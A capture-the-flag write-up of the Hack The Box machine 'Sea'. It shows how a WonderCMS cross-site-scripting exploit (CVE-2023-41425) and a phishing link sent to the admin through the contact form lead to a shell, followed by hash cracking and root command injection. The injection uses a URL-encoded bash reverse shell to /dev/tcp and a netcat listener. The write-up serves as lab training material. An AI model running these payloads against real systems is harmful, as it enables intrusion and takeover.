Sea Walkthrough

Machine: Sea#

Date: 31-08-2025 Platform: HTB Status: [Rooted]

🔍 Recon#

Nmap:#

nmap -sC -sV -oN scans/nmap.txt IP

Resultados:#

• Port 22 → OpenSSH
• Port 80 → Apache httpd

Notes:#

• Web page of biking
• Add sea.htb to /etc/hosts
• Form page on sea.htb/contact.htb

📂 Enumeration#

Dirb / Gobuster:#

gobuster dir -u http://10.10.11.28/ -w wordlist.txt -q

=============================================================== /home (Status: 200) [Size: 3650] /0 (Status: 200) [Size: 3650] /themes (Status: 301) [Size: 230] [–> http://sea.htb/themes/] /data (Status: 301) [Size: 228] [–> http://sea.htb/data/] /plugins (Status: 301) [Size: 231] [–> http://sea.htb/plugins/] /messages (Status: 301) [Size: 232] [–> http://sea.htb/messages/] /404 (Status: 200) [Size: 3341]

FUFF:#

• We can search for sub folders inside of themes with: ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u “http://sea.htb/themes/FUZZ" -c -v -s -mc 200,301,302
• We find /themes/bike, we use a more specific command to search for 200 code pages: ffuf -c -w /usr/share/wordlists/seclists/Discovery/Web-Content/quickhits.txt -u “http://sea.htb/themes/bike/FUZZ" -t 200 -fc 403

We find by the last Fuzz command a README file on http://sea.htb/themes/bike/README.md which shows us that the page is made with a tool called WonderCMS on version 3.2.0, which seems vulnerable to a public exploit: https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413

💥 Exploitation#

• Exploit: CVE-2023-41425 The exploits points the payload to the author’s one on the file exploit.py, on line: “urlRev = urlWithoutLogBase+”/?installModule=https://github.com/prodigiousMind/revshell/archive/refs/heads/main.zip&directoryName=violet&type=themes&token=” + token;” So we have to change it to our own machine pointing to us: var urlRev = urlWithoutLogBase+"/?installModule=http://10.10.14.12:8000/main.zip&directoryName=violet&type=themes&token=" + token;

  We have to change the line (that convert the URL to a simple “/”): var urlWithoutLogBase = new URL(urlWithoutLog).pathname; To this one: var urlWithoutLogBase = “http://sea.htb”; To make the connection back not failing because of a failing URL and get the reverse shell

  The exploit gets up a server itself with the module http.server of python to upload the payload, so we just need to call the exploit now:

python3 exploit.py "http://sea.htb/index.php?page=LoginURL" 10.10.14.12 4444

On another terminal we open the netcat listener:

nc -lvp 4444

Now the exploit gives us a link to send to the admin, we need the admin of the site to open the link. To achieve this we use this form on the page: http://sea.htb/contact.php, fill it with our info and this link on the field “Website”, and wait to see if the admin clicks on it. Once the admin clicks on it, the reverse shell gives us a functional shell that we can stabilize with:

script /dev/null -c bash

Result: access as user www-data#

⚡ Privilege Escalation#

Enumeration:#

• We search on /var/www/html, but there is nothing
• On /var/www/sea we have an interesting folder called data with a file database.js, that has a hash of a password on it: $2y$10$[REDACTED]

Crack the hash:#

First we need to remove the \ character from the hash: $2y$10$[REDACTED] Now we try to crack the hash with CrackStation No luck, format not recognized. We have to use Hashcat:

Hashcat#

We save the hash on file called hash.txt, and execute the Hashcat tool like this:

.\hashcat.exe -m 3200 -a 0 hash.txt "C:\Users\Fernando\Downloads\rockyou.txt"

After executing it, we find the password as: [REDACTED]

SSH to user#

As www-data, we can do an ls to /home to see the users, we find two users:

• amay
• geo We can try to log in as this users with the passwords found:

ssh [email protected]

and it seems like we are in as amay user.

Scalate to root#

Using sudo -l

• There is no command that amay can use as sudo

We try to see what ports are open to the machine once we are in, to check if there is any other process we can exploit, to do this we can use:

netstat -ntlp

We notice an http server on port 8080, now we can use port forwarding on ssh to see what is behind that port:

ssh -L 8080:127.0.0.1:8080 [email protected]

Now we can go in our machine to port 8080 and take a look It seems like there is a login form, let’s try with the credentials we already have: amay:[REDACTED] The credentials are valid and the page shows some type of System Monitor, with some options like clean system with apt, update system,…

On the page showed, we have a “log” analyzer, if we open the page on burp suite, we can see that in the form sent we have this:

log_file=%2Fvar%2Flog%2Fapache2%2Faccess.log&analyze_log=

In that form, we can modify the request to see if we can inject commands this way:

log_file=%2Fvar%2Flog%2Fapache2%2F;touch+/tmp/touch.txt&analyze_log=

After sending this we see that a new file is created as root on /tmp, so we can now inject commands as root putting it in the form (and URL encoding it). So now we can execute a reverse shell command directly in the form as root to obtain a root shell, leaving the form this way:

log_file=%2Fvar%2Flog%2Fapache2%2F;bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.10.14.12/4443%200%3E%261%27
&analyze_log=

Notice that we have to add the character ; before our URL encoded command

Now if we open a netcat listener on port 4443 before sending the request, we will get the reverse shell as root.

I have problems getting the reverse shell stable, so to read the flag, I injected a command to copy de /root/root.txt flag to /tmp and read with the user amay from there.

Escalada exitosa:#

root

🎯 Loot / Flags#

• user.txt: [FLAG REDACTED]
• root.txt: [FLAG REDACTED]

📝 Lessons Learned#

• Don’t forget to URL encode the RCE on a form (CTRL+U on BurpSuite)

#Linux #HTB #Enumeration #Web #Gobuster #FFUF #CVE #WonderCMS #RCE #ReverseShell #PasswordCracking #Hashcat #SSH #PortForwarding #BurpSuite #CommandInjection #PrivilegeEscalation #PostExploitation

Adapted from MountainFlayer/htb-writeups under MIT.